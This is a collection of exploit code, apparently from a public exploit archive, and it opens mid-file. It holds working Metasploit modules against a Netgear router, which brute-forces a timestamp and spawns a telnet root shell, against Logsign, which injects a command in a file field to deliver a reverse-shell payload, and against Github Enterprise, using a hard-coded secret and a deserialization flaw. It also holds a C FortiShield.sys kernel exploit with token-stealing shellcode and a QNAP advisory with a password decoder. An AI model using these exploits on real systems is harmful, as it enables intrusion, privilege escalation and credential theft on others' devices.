      return Time.parse(date).strftime('%s').to_i
    end
  end

  def get_auth_timestamp
    res = send_request_raw({
      'uri'     => '/lang_check.html',
      'method'  => 'GET',
      # automatically uses HttpPassword and HttpUsername to authenticate
    })
    if res && res.code == 401
      # try again, might fail the first time
      res = send_request_raw({
        'uri'     => '/lang_check.html',
        'method'  => 'GET',
      # automatically uses HttpPassword and HttpUsername to authenticate
      })
    end
    if res && res.code == 200
      if res.body =~ /timestamp=([0-9]{8})/
        $1.to_i
      end
    end
  end

  # Do some crazyness to force Ruby to cast to a single-precision float and
  # back to an integer.
  # This emulates the behaviour of the soft-fp library and the float cast
  # which is done at the end of Netgear's timestamp generator.
  def ieee754_round (number)
    [number].pack('f').unpack('f*')[0].to_i
  end


  # This is the actual algorithm used in the get_timestamp function in
  # the Netgear firmware.
  def get_timestamp(time)
    srandom_r time
    t0 = random_r
    t1 = 0x17dc65df;
    hi = (t0 * t1) >> 32;
    t2 = t0 >> 31;
    t3 = hi >> 23;
    t3 = t3 - t2;
    t4 = t3 * 0x55d4a80;
    t0 = t0 - t4;
    t0 = t0 + 0x989680;

    ieee754_round(t0)
  end

  def get_payload
    rand_text_alpha(36) +                                                                    # filler_1
      calc_address(target['LibcBase'], target['SystemOffset']) +                             # s0
      rand_text_alpha(12) +                                                                  # s1, s2 and s3
      calc_address(target['LibcBase'], target['GadgetOffset']) +                             # gadget
      rand_text_alpha(0x40) +                                                                # filler_2
      "killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh"             # payload
  end

  def send_req(timestamp)
    begin
      uri_str = (timestamp == nil ? \
        "/apply_noauth.cgi?/lang_check.html" : \
        "/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}")
      res = send_request_raw({
          'uri'     => uri_str,
          'method'  => 'POST',
          'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
          'data'    => "submit_flag=select_language&hidden_lang_avi=#{get_payload}"
      })
    rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      return
    end
  end

  def exploit
    # 1: try to see if the default admin username and password are set
    timestamp = get_auth_timestamp

    # 2: now we try two things at once:
    # one, if the timestamp is not nil then we got an authenticated timestamp, let's try that
    # two, if the timestamp is nil, then let's try without timestamp first (the timestamp only gets set if the user visited the page before)
    print_status("#{peer} - Trying the easy way out first")
    send_req(timestamp)
    begin
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
      if not sock.nil?
        print_good("#{peer} - Success, shell incoming!")
        return handler(sock)
      end
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      sock.close if sock
    end

    print_bad("#{peer} - Well that didn't work... let's do it the hard way.")

    # no shell? let's just go on and bruteforce the timestamp
    # 3: get the current date from the router and parse it
    end_time = get_current_time
    if end_time.nil?
      fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
    end
    if end_time <= datastore['TIME_OFFSET']
      start_time = 0
    else
      start_time = end_time - datastore['TIME_OFFSET']
    end
    end_time += datastore['TIME_SURPLUS']

    if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
      end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
    end

    print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
    print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")

    # 2: work back from the current router time minus datastore['TIME_OFFSET']
    while true
      for time in end_time.downto(start_time)
        timestamp = get_timestamp(time)
        sleep 0.1
        if time % 400 == 0
          print_status("#{peer} - Still working, trying time #{time}")
        end
        send_req(timestamp)
        begin
          ctx = { 'Msf' => framework, 'MsfExploit' => self }
          sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
          if sock.nil?
            next
          end
          print_status("#{peer} - Success, shell incoming!")
          return handler(sock)
        rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
          sock.close if sock
          next
        end
      end
      end_time = start_time
      start_time -= datastore['TIME_OFFSET']
      if start_time < 0
        if end_time <= datastore['TIME_OFFSET']
          fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
        end
        start_time = 0
      end
      print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")

      # let the router clear the buffers a bit...
      sleep 30
    end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Logsign Remote Command Injection',
      'Description'    => %q{
        This module exploits an command injection vulnerability in Logsign.
        By exploiting this vulnerability, unauthenticated users can execute
        arbitrary code under the root user.

        Logsign has a publicly accessible endpoint. That endpoint takes a user
        input and then use it during operating system command execution without
        proper validation.

        This module was tested against 4.4.2 and 4.4.137 versions.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Mehmet Ince <mehmet@mehmetince.net>'  # author & msf module
        ],
      'References'      =>
        [
          ['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']
        ],
      'Privileged'      => true,
      'Platform'        => ['python'],
      'Arch'            => ARCH_PYTHON,
      'DefaultOptions'  =>
        {
          'payload' => 'python/meterpreter/reverse_tcp'
        },
      'Targets'         => [ ['Automatic', {}] ],
      'DisclosureDate'  => 'Feb 26 2017',
      'DefaultTarget'   => 0
    ))

  end

  def check
    p_hash = {:file => "#{rand_text_alpha(15 + rand(4))}.raw"}

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
      'ctype' => 'application/json',
      'data' => JSON.generate(p_hash)
    )

    if res && res.body.include?('{"message": "success", "success": true}')
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_status("Delivering payload...")

    p_hash = {:file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #"}

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
      'ctype' => 'application/json',
      'data' => JSON.generate(p_hash)
    )
  end
end
            
/*
Check this out: 
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
Tested on: 
- Windows 10 Pro x64 (Pre-Anniversary)
- hal.dll: 10.0.10240.16384
- FortiShield.sys: 5.2.3.633
Thanks to master @ryujin and @ronin for helping out.
*/

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>

#pragma comment (lib,"psapi")

ULONGLONG get_pxe_address_64(ULONGLONG address) {

	ULONGLONG result = address >> 9;
	result = result | 0xFFFFF68000000000;
	result = result & 0xFFFFF6FFFFFFFFF8;
	return result;

}

LPVOID GetBaseAddr(char *drvname) {

	LPVOID drivers[1024];
	DWORD cbNeeded;
	int nDrivers, i = 0;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {

		char szDrivers[1024];
		nDrivers = cbNeeded / sizeof(drivers[0]);
		for (i = 0; i < nDrivers; i++) {
			if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
				//printf("%s (%p)\n", szDrivers, drivers[i]);
				if (strcmp(szDrivers, drvname) == 0) {
					//printf("%s (%p)\n", szDrivers, drivers[i]);
					return drivers[i];
				}
			}
		}
	}
	return 0;
}

DWORD trigger_callback() {

	printf("[+] Creating dummy file\n");
	system("echo test > test.txt");

	printf("[+] Calling MoveFileEx()\n");
	BOOL MFEresult;
	MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
	if (MFEresult == 0)
	{
		printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
		return 1;
	}
	return 0;
}

int main() {

	HANDLE forti;
	forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (forti == INVALID_HANDLE_VALUE) {
		printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
		return 1;
	}

	LPVOID hal_base = GetBaseAddr("hal.dll");
	LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");

	ULONGLONG va_pte = get_pxe_address_64(0x0000000048000000);
	ULONGLONG hal_pivot = (ULONGLONG)hal_base + 0x6bf0;
	ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
	ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;

	printf("[+] HAL.dll found at: %llx\n", (ULONGLONG)hal_base);
	printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);
	printf("[+] PTE virtual address at: %llx\n", va_pte);

	DWORD IoControlCode = 0x220028;
	ULONGLONG InputBuffer = hal_pivot;
	DWORD InputBufferLength = 0x8;
	ULONGLONG OutputBuffer = 0x0;
	DWORD OutputBufferLength = 0x0;
	DWORD lpBytesReturned;

	HANDLE pid;
	pid = GetCurrentProcess();
	ULONGLONG allocate_address = 0x0000000047FF016F;
	LPVOID allocate_shellcode;
	allocate_shellcode = VirtualAlloc((LPVOID*)allocate_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (allocate_shellcode == NULL) {
		printf("[!] Error while allocating shellcode: %d\n", GetLastError());
		return 1;
	}

	char *shellcode;
	DWORD shellcode_size = 0x12000;
	ULONGLONG rop_01 = (ULONGLONG)hal_base + 0x668e;		// pop rdx; ret
	ULONGLONG rop_02 = 0x0000000000000063;					// DIRTY + ACCESSED + R/W + PRESENT
	ULONGLONG rop_03 = (ULONGLONG)hal_base + 0x987e;		// pop rax; ret
	ULONGLONG rop_04 = va_pte;
	ULONGLONG rop_05 = (ULONGLONG)hal_base + 0xe2cc;		// mov byte ptr [rax], dl; ret
	ULONGLONG rop_06 = (ULONGLONG)hal_base + 0x15a50;		// wbinvd; ret
	ULONGLONG rop_07 = allocate_address + 0x10040;
	ULONGLONG rop_08 = fortishield_callback;
	ULONGLONG rop_09 = fortishield_restore;

	//;kd> dt -r1 nt!_TEB
	//;   +0x110 SystemReserved1  : [54] Ptr64 Void
	//;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
	//kd> u nt!PsGetCurrentProcess
	//nt!PsGetCurrentProcess:
	//mov rax,qword ptr gs:[188h]
	//mov rax,qword ptr [rax+0B8h]

	// TOKEN STEALING & RESTORE
        // start:
        //     mov rdx, [gs:0x188]
        //     mov r8, [rdx+0x0b8]
        //     mov r9, [r8+0x2f0]
        //     mov rcx, [r9]
        // find_system_proc:
        //     mov rdx, [rcx-0x8]
        //     cmp rdx, 4
        //     jz found_it
        //     mov rcx, [rcx]
        //     cmp rcx, r9
        //     jnz find_system_proc
        // found_it:
        //     mov rax, [rcx+0x68]
        //     and al, 0x0f0
        //     mov [r8+0x358], rax
        // restore:
        // 	mov rbp, qword ptr [rsp+0x80]
        // 	xor rbx, rbx
        // 	mov [rbp], rbx
        // 	mov rbp, qword ptr [rsp+0x88]
        // 	mov rax, rsi
        // 	mov rsp, rax
        // 	sub rsp, 0x20
        // 	jmp rbp

	char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
                                          "\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
                                          "\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
                                          "\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
                                          "\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
                                          "\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
                                          "\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";

	shellcode = (char *)malloc(shellcode_size);
	memset(shellcode, 0x41, shellcode_size);
	memcpy(shellcode + 0x10008, &rop_01, 0x08);
	memcpy(shellcode + 0x10010, &rop_02, 0x08);
	memcpy(shellcode + 0x10018, &rop_03, 0x08);
	memcpy(shellcode + 0x10020, &rop_04, 0x08);
	memcpy(shellcode + 0x10028, &rop_05, 0x08);
	memcpy(shellcode + 0x10030, &rop_06, 0x08);
	memcpy(shellcode + 0x10038, &rop_07, 0x08);
	memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));
	memcpy(shellcode + 0x100C0, &rop_08, 0x08);
	memcpy(shellcode + 0x100C8, &rop_09, 0x08);

	BOOL WPMresult;
	SIZE_T written;
	WPMresult = WriteProcessMemory(pid, (LPVOID)allocate_address, shellcode, shellcode_size, &written);
	if (WPMresult == 0)
	{
		printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
		return 1;
	}

	HANDLE hThread;
	LPDWORD hThread_id = 0;
	hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, 0, hThread_id);
	if (hThread == NULL)
	{
		printf("[!] Error while calling CreateThread: %d\n", GetLastError());
		return 1;
	}

	BOOL hThread_priority;
	hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
	if (hThread_priority == 0)
	{
		printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
		return 1;
	}

	BOOL triggerIOCTL;
	triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	WaitForSingleObject(hThread, INFINITE);

	system("start cmd.exe");
	return 0;
}
            
QNAP QTS Domain Privilege Escalation Vulnerability

 Name              Sensitive Data Exposure in QNAP QTS
 Systems Affected  QNAP QTS (NAS) all model and all versions < 4.2.4
 Severity          High 7.9/10
 Impact            CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
 Vendor            http://www.qnap.com/
 Advisory          http://www.ush.it/team/ush/hack-qnap/qnap.txt
 Authors           Pasquale "sid" Fiorillo (sid AT ush DOT it) 
                   Guido "go" Oricchio (g.oricchio AT pcego DOT com)
 Date              20170322

I. BACKGROUND

QNAP Systems, founded in 2004, provides network attached storage (NAS)
and network video recorder (NVR) solutions for home and business use to
the global market.
QNAP also delivers a cloud service, called myQNAPcloud, that allows
users to access and manage the devices from anywhere.
QTS is a QNAP devices proprietary firmware based on Linux.

ISGroup (http://www.isgroup.biz/) is an Italian Information Security 
boutique, we found this 0day issue while supporting Guido Oricchio 
of PCego, a System Integrator, to secure a QNAP product for one of his
customer.

Responsible disclosure with Qnap: we contacted qnap on public security@
contact and we escalate fast to their Security Researcher Myron Su on
PGP emails.

Prior vulnerabilities in QNAP: 
https://www.qnap.com/en/support/con_show.php?op=showone&cid=41

Information to customers of the vulnerability is shown in their bulletin
ID NAS-201703-21 (https://www.qnap.com/en/support/con_show.php?cid=113):
QTS 4.2.4 Build 20170313 includes security fixes for the following
vulnerabilities: Configuration file vulnerability (CVE-2017-5227)
reported by Pasquale Fiorillo of the cyber security company ISGroup
(www.isgroup.biz), a cyber security company, and Guido Oricchio of
PCego (www.pcego.com), a system integrator.

The latest version of the software at the time of writing can be 
obtained from:

https://www.qnap.com/en-us/product_x_down/
https://start.qnap.com/en/index.php
https://www.qnap.com/

II. DESCRIPTION

The vulnerability allows a local QTS admin user, or other low privileged
user, to access configuration file that includes a bad crypted Microsoft
Domain Administrator password if the NAS was joined to a Microsoft 
Active Directory domain.

The affected component is the "uLinux.conf" configuration file, 
created with a world-readable permission used to store a Domain 
Administrator password.

Admin user can access the file using ssh that is enabled by default.
Other users are not allowed to login, so they have to exploit a 
component, such as a web application, to run arbitrary command or 
arbitrary file read.

TLDR: Anyone is able to read uLinux.conf file, world readable by 
default, can escalate to Domain Administrator if a NAS is a domain 
member.

III. ANALYSIS

QNAP QTS stores "uLinux.conf" configuration file in a directory 
accessible by "nobody" and with permission that make them readable by 
"nobody".

If the NAS was joined to an Active Directory, such file contain a Domain
Administrator user and password in an easily decrypt format.

In older versions of QTS the Domain Admin's password was stored in
plaintext.

A) Config file readable by "nobody"

  [~] # ls -l /etc/config/uLinux.conf 
  -rw-r--r--    1 admin    administ      7312 Dec 10 06:39 /etc/config/uLinux.conf

  Our evidence is for QTS 4.2.0 and QTS 4.2.2 running on a TS-451U, 
  TS-469L, and TS-221. Access to the needed file are guaranteed to 
  all the local users, such as httpdusr used to running web sites and 
  web application hosted on the NAS.

  This expose all the information contained in the configuration file at
  risk and this is a violation of the principle of least privilege.

  https://en.wikipedia.org/wiki/Principle_of_least_privilege

B) Weak encrypted password in the configuration file

  The Microsoft Active Directory Admin username and password are stored 
  in the file obfuscated by a simple XOR cypher and base64 encoded.

  In this scenario, a Local File Read vulnerability could lead to full
  domain compromise given the fact that an attacker can re-use such
  credentials to authenticate against a Domain Controller with maximum
  privileges.

  The password field in the uLinux.conf has the following format:

  User = <username>
  Password = <base64>

  eg: 
  User = Administrator
  Password = AwMAAAEBBgYHBwQEIyMgICEhJiYnJyQkQw==

  The "<base64>" decoded is:

  sid@zen:~$echo -n "AwMAAAEBBgYHBwQEIyMgICEhJiYnJyQkQw==" | base64 -d | hexdump -C
  00000000  03 03 00 00 01 01 06 06  07 07 04 04 23 23 20 20  |............##  |
  00000010  21 21 26 26 27 27 24 24  43                       |!!&&''$$C|
  00000019

  Each byte xored with \x62 is the hex ascii code of the plaintext char.
  Eg: 
    \x03 ^ \x62 = \x61 (a)
    \x00 ^ \x62 = \x61 (b)
    ...
    \x24 ^ \x62 = \x46 (F)
    \x43 ^ \x62 = \x21 (!)
    
  The plaintext password is: aabbccddeeffAABBCCDDEEFF!

IV. EXPLOIT

The following code can be used to decode the password:

#!/usr/bin/php
<?php
$plaintext = str_split(base64_decode($argv[1]));
foreach($plaintext as $chr) {
	echo chr(ord($chr)^0x62);
}
echo "\n";

Eg: sid@zen:~$ ./decode.php AwMAAAEBBgYHBwQEIyMgICEhJiYnJyQkQw==
aabbccddeeffAABBCCDDEEFF!

V. VENDOR RESPONSE
Vendor released QTS 4.2.4 Build 20170313 that contains the proper
security patch. At the time of this writing an official patch is
currently available.

VI. CVE INFORMATION

Mitre assigned the CVE-2017-5227 for this vulnerability, internally to
Qnap it's referred as Case NAS-201703-21.

VII. DISCLOSURE TIMELINE

20161212 Bug discovered
20170106 Request for CVE to Mitre
20170106 Disclosure to security@qnap.com
20170107 Escalation to Myron Su, Security Researcher from QNAP (fast!)
20170107 Details disclosure to Myron Su
20170109 Got CVE-CVE-2017-5227 from cve-assign
20170110 Myron Su confirm the vulnerability
20170203 We asks for updates, no release date from vendor
20170215 We extend the disclosure date as 28 Feb will not be met
20170321 QNAP releases the QTS 4.2.4 Build 20170313
20170322 Advisory disclosed to the public

VIII. REFERENCES

[1] Top 10 2013-A6-Sensitive Data Exposure
    https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure

[2] Access Control Cheat Sheet
    https://www.owasp.org/index.php/Access_Control_Cheat_Sheet

[3] https://forum.qnap.com/viewtopic.php?t=68317
    20121213 User reporting that the password was stored in plaintext in
    a world-readable file
    
[4] https://www.qnap.com/en/support/con_show.php?cid=113
    Qnap Security Bullettin NAS-201703-21 

IX. CREDIT

Pasquale "sid" Fiorillo and Guido "go" Oricchio are credited with the 
discovery of this vulnerability.

Pasquale "sid" Fiorillo
web site: http://www.pasqualefiorillo.it/
mail: sid AT ush DOT it

Guido "go" Oricchio
web site: http://www.pcego.com/
mail: g.oricchio AT pcego DOT com

X. LEGAL NOTICES

Copyright (c) 2017 Pasquale "sid" Fiorillo

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Github Enterprise Default Session Secret And Deserialization Vulnerability",
      'Description'    => %q{
        This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6.
        The first is that the session management uses a hard-coded secret value, which can be
        abused to sign a serialized malicious Ruby object. The second problem is due to the
        use of unsafe deserialization, which allows the malicious Ruby object to be loaded,
        and results in arbitrary remote code execution.

        This exploit was tested against version 2.8.0.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!)
          'sinn3r'                       # Porting the PoC to Metasploit
        ],
      'References'     =>
        [
          [ 'EDB', '41616' ],
          [ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ],
          [ 'URL', 'https://enterprise.github.com/releases/2.8.7/notes' ] # Patched in this version
        ],
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Github Enterprise 2.8', { } ]
        ],
      'DefaultOptions' =>
        {
          'SSL'   => true,
          'RPORT' => 8443
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 15 2017',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/'])
      ], self.class)
  end

  def secret
    '641dd6454584ddabfed6342cc66281fb'
  end

  def check
    uri = normalize_uri(target_uri.path, 'setup', 'unlock')
    res = send_request_cgi!({
      'method' => 'GET',
      'uri'    => uri,
      'vars_get' =>{
        'redirect_to' => '/'
      }
    })

    unless res
      vprint_error('Connection timed out.')
      return Exploit::CheckCode::Unknown
    end

    unless res.get_cookies.match(/^_gh_manage/)
      vprint_error('No _gh_manage value in cookie found')
      return Exploit::CheckCode::Safe
    end

    cookies = res.get_cookies
    vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...")
    gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first)
    data = gh_manage_value.split('--').first
    hmac = gh_manage_value.split('--').last.split(';', 2).first
    vprint_status("Data: #{data.gsub(/\n/, '')}")
    vprint_status("Extracted HMAC: #{hmac}")
    expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
    vprint_status("Expected HMAC: #{expected_hmac}")

    if expected_hmac == hmac
      vprint_status("The HMACs match, which means you can sign and tamper the cookie.")
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def get_ruby_code
    b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
    bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
    register_file_for_cleanup(b64_fname, bin_fname)
    p = Rex::Text.encode_base64(generate_payload_exe)

    c  = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
    c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
    c << "%x(chmod +x #{bin_fname}); "
    c << "%x(#{bin_fname})"
    c
  end


  def serialize
    # We don't want to run this code within the context of Framework, so we run it as an
    # external process.
    # Brilliant trick from Brent and Adam to overcome the issue.
    ruby_code = %Q|
    module Erubis;class Eruby;end;end
    module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end

    erubis = Erubis::Eruby.allocate
    erubis.instance_variable_set :@src, \\"#{get_ruby_code}; 1\\"
    proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
    proxy.instance_variable_set :@instance, erubis
    proxy.instance_variable_set :@method, :result
    proxy.instance_variable_set :@var, "@result"

    session =
    {
      'session_id' => '',
      'exploit'    => proxy
    }

    print Marshal.dump(session)
    |

    serialized_output = `ruby -e "#{ruby_code}"`

    serialized_object = [serialized_output].pack('m')
    hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object)

    return serialized_object, hmac
  end

  def send_serialized_data(dump, hmac)
    uri = normalize_uri(target_uri.path)
    gh_manage_value = CGI.escape("#{dump}--#{hmac}")
    cookie = "_gh_manage=#{gh_manage_value}"
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri,
      'cookie' => cookie
    })

    if res
      print_status("Server returned: #{res.code}")
    end
  end

  def exploit
    dump, hmac = serialize
    print_status('Serialized Ruby stager')

    print_status('Sending serialized Ruby stager...')
    send_serialized_data(dump, hmac)
  end

end

=begin

Handy information:

To deobfuscate Github code, use this script:
https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42

Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this
algorithm:

* Takes the session hash (Json) in env['rack.session']
* Marshal.dump the hash into a string
* Base64 the string
* Append a hash of the data at the end of the string to prevent tampering.
* The signed data is saved in _gh_manage'

The format looks like this:

[ DATA ]--[ Hash ]

Also see:
https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb

=end